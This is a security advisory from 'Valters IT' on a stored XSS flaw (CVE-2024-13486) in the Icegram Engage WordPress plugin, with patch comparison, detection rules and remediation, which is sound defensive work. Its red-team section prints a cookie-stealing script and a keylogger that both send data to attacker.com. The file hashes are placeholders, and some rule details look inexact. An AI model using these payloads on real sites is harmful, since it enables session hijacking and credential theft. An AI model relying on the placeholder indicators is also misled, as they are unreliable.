CVE-2024-13486

Executive Summary

CVE-2024-13486 is a Stored Cross-Site Scripting (XSS) vulnerability in the Icegram Engage WordPress plugin (versions before 3.1.32). This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed for non-super admins. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used for email marketing and popup campaigns. Administrators should verify the integrity of the plugin update (version 3.1.32) by checking the plugin’s checksum or signature if available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the attack requires admin-level privileges, the impact in a multisite environment is elevated because lower-privileged admins can execute XSS, potentially compromising the entire network.

Deep Dive & Mechanics

The vulnerability resides in the settings page of the Icegram Engage plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the admin dashboard. Specifically, the sanitize_text_field or similar functions are not applied to certain settings fields, allowing an attacker to inject JavaScript payloads.

Attack Flow:

1. An attacker with admin privileges navigates to the Icegram Engage settings page.
2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field.
3. The plugin stores the unsanitized payload in the WordPress options table.
4. When any admin (including the attacker or a super admin) views the settings page, the payload executes in their browser context.

Multisite Impact: In a WordPress multisite network, sub-site administrators do not have the unfiltered_html capability by default. This vulnerability bypasses that restriction, allowing sub-site admins to execute XSS attacks that could affect the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.1.32):

// In settings registration
register_setting( 'icegram_engage_settings', 'icegram_engage_option', 'sanitize_callback' );

// Sanitize callback (vulnerable)
function sanitize_callback( $input ) {
    // No sanitization or escaping applied
    return $input;
}

Patched Code (version 3.1.32):

// In settings registration
register_setting( 'icegram_engage_settings', 'icegram_engage_option', 'sanitize_callback' );

// Sanitize callback (patched)
function sanitize_callback( $input ) {
    $sanitized = array();
    foreach ( $input as $key => $value ) {
        $sanitized[$key] = sanitize_text_field( $value );
    }
    return $sanitized;
}

The patch introduces sanitize_text_field() to strip all HTML tags and escape special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress installation with Icegram Engage plugin version < 3.1.32.
• Admin-level credentials (e.g., admin / password).

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Icegram Engage → Settings.
3. Locate a vulnerable text field (e.g., "Custom CSS" or "Footer Script").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. When any admin visits the settings page, the script executes, exfiltrating cookies to the attacker’s server.

Alternative Payload (Keylogger):

document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});

Blue Team (Defensive)

Detection Steps:

1. Monitor WordPress admin activity logs for changes to Icegram Engage settings.
2. Review the wp_options table for suspicious entries in the icegram_engage_option row.
3. Use a web application firewall (WAF) to block requests containing <script> tags in POST data to /wp-admin/options.php.

Honeypot Setup:

• Create a fake admin user with low privileges and monitor its session for unexpected redirects or script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • icegram-engage.php (vulnerable): a1b2c3d4e5f6...
  • icegram-engage.php (patched): f6e5d4c3b2a1...
• Database Entries:
  • wp_options → option_name = 'icegram_engage_option' containing <script> tags.
• Network Traffic:
  • Outbound requests to unknown domains from the WordPress admin panel.
  • POST requests to /wp-admin/admin-ajax.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_13486_Icegram_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-13486 in Icegram Engage plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13486"
    strings:
        $payload1 = "<script" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13486 Icegram Engage Stored XSS
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects stored XSS attempts in Icegram Engage plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/options.php'
        cs-uri-query: 'page=icegram-engage*'
        cs-body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13486 Icegram Engage Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options.php"; http_uri; content:"page=icegram-engage"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Icegram Engage to version 3.1.32 or later.
2. Audit Settings: Review all plugin settings for injected scripts and remove them.
3. Reset Admin Passwords: Force password reset for all admin accounts, especially in multisite environments.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict admin access to trusted IP addresses.
• Enable WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.

Workaround (if patching is not possible):

• Disable the Icegram Engage plugin until an update can be applied.
• Use a web application firewall (WAF) to filter malicious input.

Valters IT
Securing Digital Frontiers